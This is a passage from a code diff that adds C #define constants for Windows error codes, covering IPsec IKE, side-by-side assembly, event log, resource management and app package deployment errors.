ERROR_IPSEC_IKE_QUEUE_DROP_NO_MM 0x35f4 +#define ERROR_IPSEC_IKE_DROP_NO_RESPONSE 0x35f5 +#define ERROR_IPSEC_IKE_MM_DELAY_DROP 0x35f6 +#define ERROR_IPSEC_IKE_QM_DELAY_DROP 0x35f7 +#define ERROR_IPSEC_IKE_ERROR 0x35f8 +#define ERROR_IPSEC_IKE_CRL_FAILED 0x35f9 +#define ERROR_IPSEC_IKE_INVALID_KEY_USAGE 0x35fa +#define ERROR_IPSEC_IKE_INVALID_CERT_TYPE 0x35fb +#define ERROR_IPSEC_IKE_NO_PRIVATE_KEY 0x35fc +#define ERROR_IPSEC_IKE_SIMULTANEOUS_REKEY 0x35fd +#define ERROR_IPSEC_IKE_DH_FAIL 0x35fe +#define ERROR_IPSEC_IKE_CRITICAL_PAYLOAD_NOT_RECOGNIZED 0x35ff +#define ERROR_IPSEC_IKE_INVALID_HEADER 0x3600 +#define ERROR_IPSEC_IKE_NO_POLICY 0x3601 +#define ERROR_IPSEC_IKE_INVALID_SIGNATURE 0x3602 +#define ERROR_IPSEC_IKE_KERBEROS_ERROR 0x3603 +#define ERROR_IPSEC_IKE_NO_PUBLIC_KEY 0x3604 +#define ERROR_IPSEC_IKE_PROCESS_ERR 0x3605 +#define ERROR_IPSEC_IKE_PROCESS_ERR_SA 0x3606 +#define ERROR_IPSEC_IKE_PROCESS_ERR_PROP 0x3607 +#define ERROR_IPSEC_IKE_PROCESS_ERR_TRANS 0x3608 +#define ERROR_IPSEC_IKE_PROCESS_ERR_KE 0x3609 +#define ERROR_IPSEC_IKE_PROCESS_ERR_ID 0x360a +#define ERROR_IPSEC_IKE_PROCESS_ERR_CERT 0x360b +#define ERROR_IPSEC_IKE_PROCESS_ERR_CERT_REQ 0x360c +#define ERROR_IPSEC_IKE_PROCESS_ERR_HASH 0x360d +#define ERROR_IPSEC_IKE_PROCESS_ERR_SIG 0x360e +#define ERROR_IPSEC_IKE_PROCESS_ERR_NONCE 0x360f +#define ERROR_IPSEC_IKE_PROCESS_ERR_NOTIFY 0x3610 +#define ERROR_IPSEC_IKE_PROCESS_ERR_DELETE 0x3611 +#define ERROR_IPSEC_IKE_PROCESS_ERR_VENDOR 0x3612 +#define ERROR_IPSEC_IKE_INVALID_PAYLOAD 0x3613 +#define ERROR_IPSEC_IKE_LOAD_SOFT_SA 0x3614 +#define ERROR_IPSEC_IKE_SOFT_SA_TORN_DOWN 0x3615 +#define ERROR_IPSEC_IKE_INVALID_COOKIE 0x3616 +#define ERROR_IPSEC_IKE_NO_PEER_CERT 0x3617 +#define ERROR_IPSEC_IKE_PEER_CRL_FAILED 0x3618 +#define ERROR_IPSEC_IKE_POLICY_CHANGE 0x3619 +#define ERROR_IPSEC_IKE_NO_MM_POLICY 0x361a +#define ERROR_IPSEC_IKE_NOTCBPRIV 0x361b +#define ERROR_IPSEC_IKE_SECLOADFAIL 0x361c +#define ERROR_IPSEC_IKE_FAILSSPINIT 0x361d +#define ERROR_IPSEC_IKE_FAILQUERYSSP 0x361e +#define ERROR_IPSEC_IKE_SRVACQFAIL 0x361f +#define ERROR_IPSEC_IKE_SRVQUERYCRED 0x3620 +#define ERROR_IPSEC_IKE_GETSPIFAIL 0x3621 +#define ERROR_IPSEC_IKE_INVALID_FILTER 0x3622 +#define ERROR_IPSEC_IKE_OUT_OF_MEMORY 0x3623 +#define ERROR_IPSEC_IKE_ADD_UPDATE_KEY_FAILED 0x3624 +#define ERROR_IPSEC_IKE_INVALID_POLICY 0x3625 +#define ERROR_IPSEC_IKE_UNKNOWN_DOI 0x3626 +#define ERROR_IPSEC_IKE_INVALID_SITUATION 0x3627 +#define ERROR_IPSEC_IKE_DH_FAILURE 0x3628 +#define ERROR_IPSEC_IKE_INVALID_GROUP 0x3629 +#define ERROR_IPSEC_IKE_ENCRYPT 0x362a +#define ERROR_IPSEC_IKE_DECRYPT 0x362b +#define ERROR_IPSEC_IKE_POLICY_MATCH 0x362c +#define ERROR_IPSEC_IKE_UNSUPPORTED_ID 0x362d +#define ERROR_IPSEC_IKE_INVALID_HASH 0x362e +#define ERROR_IPSEC_IKE_INVALID_HASH_ALG 0x362f +#define ERROR_IPSEC_IKE_INVALID_HASH_SIZE 0x3630 +#define ERROR_IPSEC_IKE_INVALID_ENCRYPT_ALG 0x3631 +#define ERROR_IPSEC_IKE_INVALID_AUTH_ALG 0x3632 +#define ERROR_IPSEC_IKE_INVALID_SIG 0x3633 +#define ERROR_IPSEC_IKE_LOAD_FAILED 0x3634 +#define ERROR_IPSEC_IKE_RPC_DELETE 0x3635 +#define ERROR_IPSEC_IKE_BENIGN_REINIT 0x3636 +#define ERROR_IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY 0x3637 +#define ERROR_IPSEC_IKE_INVALID_MAJOR_VERSION 0x3638 +#define ERROR_IPSEC_IKE_INVALID_CERT_KEYLEN 0x3639 +#define ERROR_IPSEC_IKE_MM_LIMIT 0x363a +#define ERROR_IPSEC_IKE_NEGOTIATION_DISABLED 0x363b +#define ERROR_IPSEC_IKE_QM_LIMIT 0x363c +#define ERROR_IPSEC_IKE_MM_EXPIRED 0x363d +#define ERROR_IPSEC_IKE_PEER_MM_ASSUMED_INVALID 0x363e +#define ERROR_IPSEC_IKE_CERT_CHAIN_POLICY_MISMATCH 0x363f +#define ERROR_IPSEC_IKE_UNEXPECTED_MESSAGE_ID 0x3640 +#define ERROR_IPSEC_IKE_INVALID_AUTH_PAYLOAD 0x3641 +#define ERROR_IPSEC_IKE_DOS_COOKIE_SENT 0x3642 +#define ERROR_IPSEC_IKE_SHUTTING_DOWN 0x3643 +#define ERROR_IPSEC_IKE_CGA_AUTH_FAILED 0x3644 +#define ERROR_IPSEC_IKE_PROCESS_ERR_NATOA 0x3645 +#define ERROR_IPSEC_IKE_INVALID_MM_FOR_QM 0x3646 +#define ERROR_IPSEC_IKE_QM_EXPIRED 0x3647 +#define ERROR_IPSEC_IKE_TOO_MANY_FILTERS 0x3648 +#define ERROR_IPSEC_IKE_NEG_STATUS_END 0x3649 +#define ERROR_IPSEC_IKE_KILL_DUMMY_NAP_TUNNEL 0x364a +#define ERROR_IPSEC_IKE_INNER_IP_ASSIGNMENT_FAILURE 0x364b +#define ERROR_IPSEC_IKE_REQUIRE_CP_PAYLOAD_MISSING 0x364c +#define ERROR_IPSEC_KEY_MODULE_IMPERSONATION_NEGOTIATION_PENDING 0x364d +#define ERROR_IPSEC_IKE_COEXISTENCE_SUPPRESS 0x364e +#define ERROR_IPSEC_IKE_RATELIMIT_DROP 0x364f +#define ERROR_IPSEC_IKE_PEER_DOESNT_SUPPORT_MOBIKE 0x3650 +#define ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE 0x3651 +#define ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_FAILURE 0x3652 +#define ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE_WITH_OPTIONAL_RETRY 0x3653 +#define ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_AND_CERTMAP_FAILURE 0x3654 +#define ERROR_IPSEC_IKE_NEG_STATUS_EXTENDED_END 0x3655 +#define ERROR_IPSEC_BAD_SPI 0x3656 +#define ERROR_IPSEC_SA_LIFETIME_EXPIRED 0x3657 +#define ERROR_IPSEC_WRONG_SA 0x3658 +#define ERROR_IPSEC_REPLAY_CHECK_FAILED 0x3659 +#define ERROR_IPSEC_INVALID_PACKET 0x365a +#define ERROR_IPSEC_INTEGRITY_CHECK_FAILED 0x365b +#define ERROR_IPSEC_CLEAR_TEXT_DROP 0x365c +#define ERROR_IPSEC_AUTH_FIREWALL_DROP 0x365d +#define ERROR_IPSEC_THROTTLE_DROP 0x365e +#define ERROR_IPSEC_DOSP_BLOCK 0x3665 +#define ERROR_IPSEC_DOSP_RECEIVED_MULTICAST 0x3666 +#define ERROR_IPSEC_DOSP_INVALID_PACKET 0x3667 +#define ERROR_IPSEC_DOSP_STATE_LOOKUP_FAILED 0x3668 +#define ERROR_IPSEC_DOSP_MAX_ENTRIES 0x3669 +#define ERROR_IPSEC_DOSP_KEYMOD_NOT_ALLOWED 0x366a +#define ERROR_IPSEC_DOSP_NOT_INSTALLED 0x366b +#define ERROR_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES 0x366c +#define ERROR_SXS_SECTION_NOT_FOUND 0x36b0 +#define ERROR_SXS_CANT_GEN_ACTCTX 0x36b1 +#define ERROR_SXS_INVALID_ACTCTXDATA_FORMAT 0x36b2 +#define ERROR_SXS_ASSEMBLY_NOT_FOUND 0x36b3 +#define ERROR_SXS_MANIFEST_FORMAT_ERROR 0x36b4 +#define ERROR_SXS_MANIFEST_PARSE_ERROR 0x36b5 +#define ERROR_SXS_ACTIVATION_CONTEXT_DISABLED 0x36b6 +#define ERROR_SXS_KEY_NOT_FOUND 0x36b7 +#define ERROR_SXS_VERSION_CONFLICT 0x36b8 +#define ERROR_SXS_WRONG_SECTION_TYPE 0x36b9 +#define ERROR_SXS_THREAD_QUERIES_DISABLED 0x36ba +#define ERROR_SXS_PROCESS_DEFAULT_ALREADY_SET 0x36bb +#define ERROR_SXS_UNKNOWN_ENCODING_GROUP 0x36bc +#define ERROR_SXS_UNKNOWN_ENCODING 0x36bd +#define ERROR_SXS_INVALID_XML_NAMESPACE_URI 0x36be +#define ERROR_SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED 0x36bf +#define ERROR_SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED 0x36c0 +#define ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE 0x36c1 +#define ERROR_SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE 0x36c2 +#define ERROR_SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE 0x36c3 +#define ERROR_SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT 0x36c4 +#define ERROR_SXS_DUPLICATE_DLL_NAME 0x36c5 +#define ERROR_SXS_DUPLICATE_WINDOWCLASS_NAME 0x36c6 +#define ERROR_SXS_DUPLICATE_CLSID 0x36c7 +#define ERROR_SXS_DUPLICATE_IID 0x36c8 +#define ERROR_SXS_DUPLICATE_TLBID 0x36c9 +#define ERROR_SXS_DUPLICATE_PROGID 0x36ca +#define ERROR_SXS_DUPLICATE_ASSEMBLY_NAME 0x36cb +#define ERROR_SXS_FILE_HASH_MISMATCH 0x36cc +#define ERROR_SXS_POLICY_PARSE_ERROR 0x36cd +#define ERROR_SXS_XML_E_MISSINGQUOTE 0x36ce +#define ERROR_SXS_XML_E_COMMENTSYNTAX 0x36cf +#define ERROR_SXS_XML_E_BADSTARTNAMECHAR 0x36d0 +#define ERROR_SXS_XML_E_BADNAMECHAR 0x36d1 +#define ERROR_SXS_XML_E_BADCHARINSTRING 0x36d2 +#define ERROR_SXS_XML_E_XMLDECLSYNTAX 0x36d3 +#define ERROR_SXS_XML_E_BADCHARDATA 0x36d4 +#define ERROR_SXS_XML_E_MISSINGWHITESPACE 0x36d5 +#define ERROR_SXS_XML_E_EXPECTINGTAGEND 0x36d6 +#define ERROR_SXS_XML_E_MISSINGSEMICOLON 0x36d7 +#define ERROR_SXS_XML_E_UNBALANCEDPAREN 0x36d8 +#define ERROR_SXS_XML_E_INTERNALERROR 0x36d9 +#define ERROR_SXS_XML_E_UNEXPECTED_WHITESPACE 0x36da +#define ERROR_SXS_XML_E_INCOMPLETE_ENCODING 0x36db +#define ERROR_SXS_XML_E_MISSING_PAREN 0x36dc +#define ERROR_SXS_XML_E_EXPECTINGCLOSEQUOTE 0x36dd +#define ERROR_SXS_XML_E_MULTIPLE_COLONS 0x36de +#define ERROR_SXS_XML_E_INVALID_DECIMAL 0x36df +#define ERROR_SXS_XML_E_INVALID_HEXIDECIMAL 0x36e0 +#define ERROR_SXS_XML_E_INVALID_UNICODE 0x36e1 +#define ERROR_SXS_XML_E_WHITESPACEORQUESTIONMARK 0x36e2 +#define ERROR_SXS_XML_E_UNEXPECTEDENDTAG 0x36e3 +#define ERROR_SXS_XML_E_UNCLOSEDTAG 0x36e4 +#define ERROR_SXS_XML_E_DUPLICATEATTRIBUTE 0x36e5 +#define ERROR_SXS_XML_E_MULTIPLEROOTS 0x36e6 +#define ERROR_SXS_XML_E_INVALIDATROOTLEVEL 0x36e7 +#define ERROR_SXS_XML_E_BADXMLDECL 0x36e8 +#define ERROR_SXS_XML_E_MISSINGROOT 0x36e9 +#define ERROR_SXS_XML_E_UNEXPECTEDEOF 0x36ea +#define ERROR_SXS_XML_E_BADPEREFINSUBSET 0x36eb +#define ERROR_SXS_XML_E_UNCLOSEDSTARTTAG 0x36ec +#define ERROR_SXS_XML_E_UNCLOSEDENDTAG 0x36ed +#define ERROR_SXS_XML_E_UNCLOSEDSTRING 0x36ee +#define ERROR_SXS_XML_E_UNCLOSEDCOMMENT 0x36ef +#define ERROR_SXS_XML_E_UNCLOSEDDECL 0x36f0 +#define ERROR_SXS_XML_E_UNCLOSEDCDATA 0x36f1 +#define ERROR_SXS_XML_E_RESERVEDNAMESPACE 0x36f2 +#define ERROR_SXS_XML_E_INVALIDENCODING 0x36f3 +#define ERROR_SXS_XML_E_INVALIDSWITCH 0x36f4 +#define ERROR_SXS_XML_E_BADXMLCASE 0x36f5 +#define ERROR_SXS_XML_E_INVALID_STANDALONE 0x36f6 +#define ERROR_SXS_XML_E_UNEXPECTED_STANDALONE 0x36f7 +#define ERROR_SXS_XML_E_INVALID_VERSION 0x36f8 +#define ERROR_SXS_XML_E_MISSINGEQUALS 0x36f9 +#define ERROR_SXS_PROTECTION_RECOVERY_FAILED 0x36fa +#define ERROR_SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT 0x36fb +#define ERROR_SXS_PROTECTION_CATALOG_NOT_VALID 0x36fc +#define ERROR_SXS_UNTRANSLATABLE_HRESULT 0x36fd +#define ERROR_SXS_PROTECTION_CATALOG_FILE_MISSING 0x36fe +#define ERROR_SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE 0x36ff +#define ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME 0x3700 +#define ERROR_SXS_ASSEMBLY_MISSING 0x3701 +#define ERROR_SXS_CORRUPT_ACTIVATION_STACK 0x3702 +#define ERROR_SXS_CORRUPTION 0x3703 +#define ERROR_SXS_EARLY_DEACTIVATION 0x3704 +#define ERROR_SXS_INVALID_DEACTIVATION 0x3705 +#define ERROR_SXS_MULTIPLE_DEACTIVATION 0x3706 +#define ERROR_SXS_PROCESS_TERMINATION_REQUESTED 0x3707 +#define ERROR_SXS_RELEASE_ACTIVATION_CONTEXT 0x3708 +#define ERROR_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY 0x3709 +#define ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE 0x370a +#define ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME 0x370b +#define ERROR_SXS_IDENTITY_DUPLICATE_ATTRIBUTE 0x370c +#define ERROR_SXS_IDENTITY_PARSE_ERROR 0x370d +#define ERROR_MALFORMED_SUBSTITUTION_STRING 0x370e +#define ERROR_SXS_INCORRECT_PUBLIC_KEY_TOKEN 0x370f +#define ERROR_UNMAPPED_SUBSTITUTION_STRING 0x3710 +#define ERROR_SXS_ASSEMBLY_NOT_LOCKED 0x3711 +#define ERROR_SXS_COMPONENT_STORE_CORRUPT 0x3712 +#define ERROR_ADVANCED_INSTALLER_FAILED 0x3713 +#define ERROR_XML_ENCODING_MISMATCH 0x3714 +#define ERROR_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT 0x3715 +#define ERROR_SXS_IDENTITIES_DIFFERENT 0x3716 +#define ERROR_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT 0x3717 +#define ERROR_SXS_FILE_NOT_PART_OF_ASSEMBLY 0x3718 +#define ERROR_SXS_MANIFEST_TOO_BIG 0x3719 +#define ERROR_SXS_SETTING_NOT_REGISTERED 0x371a +#define ERROR_SXS_TRANSACTION_CLOSURE_INCOMPLETE 0x371b +#define ERROR_SMI_PRIMITIVE_INSTALLER_FAILED 0x371c +#define ERROR_GENERIC_COMMAND_FAILED 0x371d +#define ERROR_SXS_FILE_HASH_MISSING 0x371e +#define ERROR_SXS_DUPLICATE_ACTIVATABLE_CLASS 0x371f +#define ERROR_EVT_INVALID_CHANNEL_PATH 0x3a98 +#define ERROR_EVT_INVALID_QUERY 0x3a99 +#define ERROR_EVT_PUBLISHER_METADATA_NOT_FOUND 0x3a9a +#define ERROR_EVT_EVENT_TEMPLATE_NOT_FOUND 0x3a9b +#define ERROR_EVT_INVALID_PUBLISHER_NAME 0x3a9c +#define ERROR_EVT_INVALID_EVENT_DATA 0x3a9d +#define ERROR_EVT_CHANNEL_NOT_FOUND 0x3a9f +#define ERROR_EVT_MALFORMED_XML_TEXT 0x3aa0 +#define ERROR_EVT_SUBSCRIPTION_TO_DIRECT_CHANNEL 0x3aa1 +#define ERROR_EVT_CONFIGURATION_ERROR 0x3aa2 +#define ERROR_EVT_QUERY_RESULT_STALE 0x3aa3 +#define ERROR_EVT_QUERY_RESULT_INVALID_POSITION 0x3aa4 +#define ERROR_EVT_NON_VALIDATING_MSXML 0x3aa5 +#define ERROR_EVT_FILTER_ALREADYSCOPED 0x3aa6 +#define ERROR_EVT_FILTER_NOTELTSET 0x3aa7 +#define ERROR_EVT_FILTER_INVARG 0x3aa8 +#define ERROR_EVT_FILTER_INVTEST 0x3aa9 +#define ERROR_EVT_FILTER_INVTYPE 0x3aaa +#define ERROR_EVT_FILTER_PARSEERR 0x3aab +#define ERROR_EVT_FILTER_UNSUPPORTEDOP 0x3aac +#define ERROR_EVT_FILTER_UNEXPECTEDTOKEN 0x3aad +#define ERROR_EVT_INVALID_OPERATION_OVER_ENABLED_DIRECT_CHANNEL 0x3aae +#define ERROR_EVT_INVALID_CHANNEL_PROPERTY_VALUE 0x3aaf +#define ERROR_EVT_INVALID_PUBLISHER_PROPERTY_VALUE 0x3ab0 +#define ERROR_EVT_CHANNEL_CANNOT_ACTIVATE 0x3ab1 +#define ERROR_EVT_FILTER_TOO_COMPLEX 0x3ab2 +#define ERROR_EVT_MESSAGE_NOT_FOUND 0x3ab3 +#define ERROR_EVT_MESSAGE_ID_NOT_FOUND 0x3ab4 +#define ERROR_EVT_UNRESOLVED_VALUE_INSERT 0x3ab5 +#define ERROR_EVT_UNRESOLVED_PARAMETER_INSERT 0x3ab6 +#define ERROR_EVT_MAX_INSERTS_REACHED 0x3ab7 +#define ERROR_EVT_EVENT_DEFINITION_NOT_FOUND 0x3ab8 +#define ERROR_EVT_MESSAGE_LOCALE_NOT_FOUND 0x3ab9 +#define ERROR_EVT_VERSION_TOO_OLD 0x3aba +#define ERROR_EVT_VERSION_TOO_NEW 0x3abb +#define ERROR_EVT_CANNOT_OPEN_CHANNEL_OF_QUERY 0x3abc +#define ERROR_EVT_PUBLISHER_DISABLED 0x3abd +#define ERROR_EVT_FILTER_OUT_OF_RANGE 0x3abe +#define ERROR_EC_SUBSCRIPTION_CANNOT_ACTIVATE 0x3ae8 +#define ERROR_EC_LOG_DISABLED 0x3ae9 +#define ERROR_EC_CIRCULAR_FORWARDING 0x3aea +#define ERROR_EC_CREDSTORE_FULL 0x3aeb +#define ERROR_EC_CRED_NOT_FOUND 0x3aec +#define ERROR_EC_NO_ACTIVE_CHANNEL 0x3aed +#define ERROR_MUI_FILE_NOT_FOUND 0x3afc +#define ERROR_MUI_INVALID_FILE 0x3afd +#define ERROR_MUI_INVALID_RC_CONFIG 0x3afe +#define ERROR_MUI_INVALID_LOCALE_NAME 0x3aff +#define ERROR_MUI_INVALID_ULTIMATEFALLBACK_NAME 0x3b00 +#define ERROR_MUI_FILE_NOT_LOADED 0x3b01 +#define ERROR_RESOURCE_ENUM_USER_STOP 0x3b02 +#define ERROR_MUI_INTLSETTINGS_UILANG_NOT_INSTALLED 0x3b03 +#define ERROR_MUI_INTLSETTINGS_INVALID_LOCALE_NAME 0x3b04 +#define ERROR_MRM_RUNTIME_NO_DEFAULT_OR_NEUTRAL_RESOURCE 0x3b06 +#define ERROR_MRM_INVALID_PRICONFIG 0x3b07 +#define ERROR_MRM_INVALID_FILE_TYPE 0x3b08 +#define ERROR_MRM_UNKNOWN_QUALIFIER 0x3b09 +#define ERROR_MRM_INVALID_QUALIFIER_VALUE 0x3b0a +#define ERROR_MRM_NO_CANDIDATE 0x3b0b +#define ERROR_MRM_NO_MATCH_OR_DEFAULT_CANDIDATE 0x3b0c +#define ERROR_MRM_RESOURCE_TYPE_MISMATCH 0x3b0d +#define ERROR_MRM_DUPLICATE_MAP_NAME 0x3b0e +#define ERROR_MRM_DUPLICATE_ENTRY 0x3b0f +#define ERROR_MRM_INVALID_RESOURCE_IDENTIFIER 0x3b10 +#define ERROR_MRM_FILEPATH_TOO_LONG 0x3b11 +#define ERROR_MRM_UNSUPPORTED_DIRECTORY_TYPE 0x3b12 +#define ERROR_MRM_INVALID_PRI_FILE 0x3b16 +#define ERROR_MRM_NAMED_RESOURCE_NOT_FOUND 0x3b17 +#define ERROR_MRM_MAP_NOT_FOUND 0x3b1f +#define ERROR_MRM_UNSUPPORTED_PROFILE_TYPE 0x3b20 +#define ERROR_MRM_INVALID_QUALIFIER_OPERATOR 0x3b21 +#define ERROR_MRM_INDETERMINATE_QUALIFIER_VALUE 0x3b22 +#define ERROR_MRM_AUTOMERGE_ENABLED 0x3b23 +#define ERROR_MRM_TOO_MANY_RESOURCES 0x3b24 +#define ERROR_MRM_UNSUPPORTED_FILE_TYPE_FOR_MERGE 0x3b25 +#define ERROR_MRM_UNSUPPORTED_FILE_TYPE_FOR_LOAD_UNLOAD_PRI_FILE 0x3b26 +#define ERROR_MRM_NO_CURRENT_VIEW_ON_THREAD 0x3b27 +#define ERROR_DIFFERENT_PROFILE_RESOURCE_MANAGER_EXIST 0x3b28 +#define ERROR_OPERATION_NOT_ALLOWED_FROM_SYSTEM_COMPONENT 0x3b29 +#define ERROR_MRM_DIRECT_REF_TO_NON_DEFAULT_RESOURCE 0x3b2a +#define ERROR_MRM_GENERATION_COUNT_MISMATCH 0x3b2b +#define ERROR_PRI_MERGE_VERSION_MISMATCH 0x3b2c +#define ERROR_PRI_MERGE_MISSING_SCHEMA 0x3b2d +#define ERROR_PRI_MERGE_LOAD_FILE_FAILED 0x3b2e +#define ERROR_PRI_MERGE_ADD_FILE_FAILED 0x3b2f +#define ERROR_PRI_MERGE_WRITE_FILE_FAILED 0x3b30 +#define ERROR_PRI_MERGE_MULTIPLE_PACKAGE_FAMILIES_NOT_ALLOWED 0x3b31 +#define ERROR_PRI_MERGE_MULTIPLE_MAIN_PACKAGES_NOT_ALLOWED 0x3b32 +#define ERROR_PRI_MERGE_BUNDLE_PACKAGES_NOT_ALLOWED 0x3b33 +#define ERROR_PRI_MERGE_MAIN_PACKAGE_REQUIRED 0x3b34 +#define ERROR_PRI_MERGE_RESOURCE_PACKAGE_REQUIRED 0x3b35 +#define ERROR_PRI_MERGE_INVALID_FILE_NAME 0x3b36 +#define ERROR_MRM_PACKAGE_NOT_FOUND 0x3b37 +#define ERROR_MRM_MISSING_DEFAULT_LANGUAGE 0x3b38 +#define ERROR_MRM_SCOPE_ITEM_CONFLICT 0x3b39 +#define ERROR_MCA_INVALID_CAPABILITIES_STRING 0x3b60 +#define ERROR_MCA_INVALID_VCP_VERSION 0x3b61 +#define ERROR_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION 0x3b62 +#define ERROR_MCA_MCCS_VERSION_MISMATCH 0x3b63 +#define ERROR_MCA_UNSUPPORTED_MCCS_VERSION 0x3b64 +#define ERROR_MCA_INTERNAL_ERROR 0x3b65 +#define ERROR_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED 0x3b66 +#define ERROR_MCA_UNSUPPORTED_COLOR_TEMPERATURE 0x3b67 +#define ERROR_AMBIGUOUS_SYSTEM_DEVICE 0x3b92 +#define ERROR_SYSTEM_DEVICE_NOT_FOUND 0x3bc3 +#define ERROR_HASH_NOT_SUPPORTED 0x3bc4 +#define ERROR_HASH_NOT_PRESENT 0x3bc5 +#define ERROR_SECONDARY_IC_PROVIDER_NOT_REGISTERED 0x3bd9 +#define ERROR_GPIO_CLIENT_INFORMATION_INVALID 0x3bda +#define ERROR_GPIO_VERSION_NOT_SUPPORTED 0x3bdb +#define ERROR_GPIO_INVALID_REGISTRATION_PACKET 0x3bdc +#define ERROR_GPIO_OPERATION_DENIED 0x3bdd +#define ERROR_GPIO_INCOMPATIBLE_CONNECT_MODE 0x3bde +#define ERROR_GPIO_INTERRUPT_ALREADY_UNMASKED 0x3bdf +#define ERROR_CANNOT_COMPOSE_APISET_EXTENSION 0x3c14 +#define ERROR_APISET_SCHEMA_VERSION_NOT_SUPPORTED 0x3c15 +#define ERROR_CANNOT_SWITCH_RUNLEVEL 0x3c28 +#define ERROR_INVALID_RUNLEVEL_SETTING 0x3c29 +#define ERROR_RUNLEVEL_SWITCH_TIMEOUT 0x3c2a +#define ERROR_RUNLEVEL_SWITCH_AGENT_TIMEOUT 0x3c2b +#define ERROR_RUNLEVEL_SWITCH_IN_PROGRESS 0x3c2c +#define ERROR_SERVICES_FAILED_AUTOSTART 0x3c2d +#define ERROR_COM_TASK_STOP_PENDING 0x3c8d +#define ERROR_INSTALL_OPEN_PACKAGE_FAILED 0x3cf0 +#define ERROR_INSTALL_PACKAGE_NOT_FOUND 0x3cf1 +#define ERROR_INSTALL_INVALID_PACKAGE 0x3cf2 +#define ERROR_INSTALL_RESOLVE_DEPENDENCY_FAILED 0x3cf3 +#define ERROR_INSTALL_OUT_OF_DISK_SPACE 0x3cf4 +#define ERROR_INSTALL_NETWORK_FAILURE 0x3cf5 +#define ERROR_INSTALL_REGISTRATION_FAILURE 0x3cf6 +#define ERROR_INSTALL_DEREGISTRATION_FAILURE 0x3cf7 +#define ERROR_INSTALL_CANCEL 0x3cf8 +#define ERROR_INSTALL_FAILED 0x3cf9 +#define ERROR_REMOVE_FAILED 0x3cfa +#define ERROR_PACKAGE_ALREADY_EXISTS 0x3cfb +#define ERROR_NEEDS_REMEDIATION 0x3cfc +#define ERROR_INSTALL_PREREQUISITE_FAILED 0x3cfd +#define ERROR_PACKAGE_REPOSITORY_CORRUPTED 0x3cfe +#define ERROR_INSTALL_POLICY_FAILURE 0x3cff +#define ERROR_PACKAGE_UPDATING 0x3d00 +#define ERROR_DEPLOYMENT_BLOCKED_BY_POLICY 0x3d01 +#define ERROR_PACKAGES_IN_USE 0x3d02 +#define ERROR_RECOVERY_FILE_CORRUPT 0x3d03 +#define ERROR_INVALID_STAGED_SIGNATURE 0x3d04 +#define ERROR_DELETING_EXISTING_APPLICATIONDATA_STORE_FAILED 0x3d05 +#define ERROR_INSTALL_PACKAGE_DOWNGRADE 0x3d06 +#define ERROR_SYSTEM_NEEDS_REMEDIATION 0x3d07 +#define ERROR_APPX_INTEGRITY_FAILURE_CLR_NGEN 0x3d08 +#define ERROR_RESILIENCY_FILE_CORRUPT 0x3d09 +#define ERROR_INSTALL_FIREWALL_SERVICE_NOT_RUNNING 0x3d0a +#define ERROR_PACKAGE_MOVE_FAILED 0x3d0b +#define ERROR_INSTALL_VOLUME_NOT_EMPTY 0x3d0c +#define ERROR_INSTALL_VOLUME_OFFLINE 0x3d0d +#define ERROR_INSTALL_VOLUME_CORRUPT 0x3d0e +#define ERROR_NEEDS_REGISTRATION 0x3d0f +#define ERROR_INSTALL_WRONG_PROCESSOR_ARCHITECTURE 0x3d10 +#define ERROR_DEV_SIDELOAD_LIMIT_EXCEEDED 0x3d11 +#define ERROR_INSTALL_OPTIONAL_PACKAGE_REQUIRES_MAIN_PACKAGE 0x3d12 +#define ERROR_PACKAGE_NOT_SUPPORTED_ON_FILESYSTEM 0x3d13 +#define ERROR_PACKAGE_MOVE_BLOCKED_BY_STREAMING 0x3d14 +#define ERROR_INSTALL_OPTIONAL_PACKAGE_APPLICATIONID_NOT_UNIQUE 0x3d15 +#define ERROR_PACKAGE_STAGING_ONHOLD 0x3d16 +#define ERROR_INSTALL_INVALID_RELATED_SET_UPDATE 0x3d17 +#define ERROR_INSTALL_OPTIONAL_PACKAGE_REQUIRES_MAIN_PACKAGE_FULLTRUST_CAPABILITY 0x3d18 +#define ERROR_DEPLOYMENT_BLOCKED_BY_USER_LOG_OFF 0x3d19 +#define ERROR_PROVISION_OPTIONAL_PACKAGE_REQUIRES_MAIN_PACKAGE_PROVISIONED 0x3d1a +#define ERROR_PACKAGES_REPUTATION_CHECK_FAILED 0x3d1b +#define ERROR_PACKAGES_REPUTATION_CHECK_TIMEDOUT 0x3d1c +#define ERROR_DEPLOYMENT_OPTION_NOT_SUPPORTED 0x3d1d +#define ERROR_APPINSTALLER_ACTIVATION_BLOCKED 0x3d1e +#define ERROR_REGISTRATION_FROM_REMOTE_DRIVE_NOT_SUPPORTED 0x3d1f +#define ERROR_APPX_RAW_DATA_WRITE_FAILED 0x3d20 +#define ERROR_DEPLOYMENT_BLOCKED_BY_VOLUME_POLICY_PACKAGE 0x3d21 +#define ERROR_DEPLOYMENT_BLOCKED_BY_VOLUME_POLICY_MACHINE 0x3d22 +#define ERROR_DEPLOYMENT_BLOCKED_BY_PROFILE_POLICY 0x3d23 +#define ERROR_DEPLOYMENT_FAILED_CONFLICTING_MUTABLE_PACKAGE_DIRECTORY 0x3d24 +#define ERROR_SINGLETON_RESOURCE_INSTALLED_IN_ACTIVE_USER 0x3d25 +#define ERROR_DIFFERENT_VERSION_OF_PACKAGED_SERVICE_INSTALLED 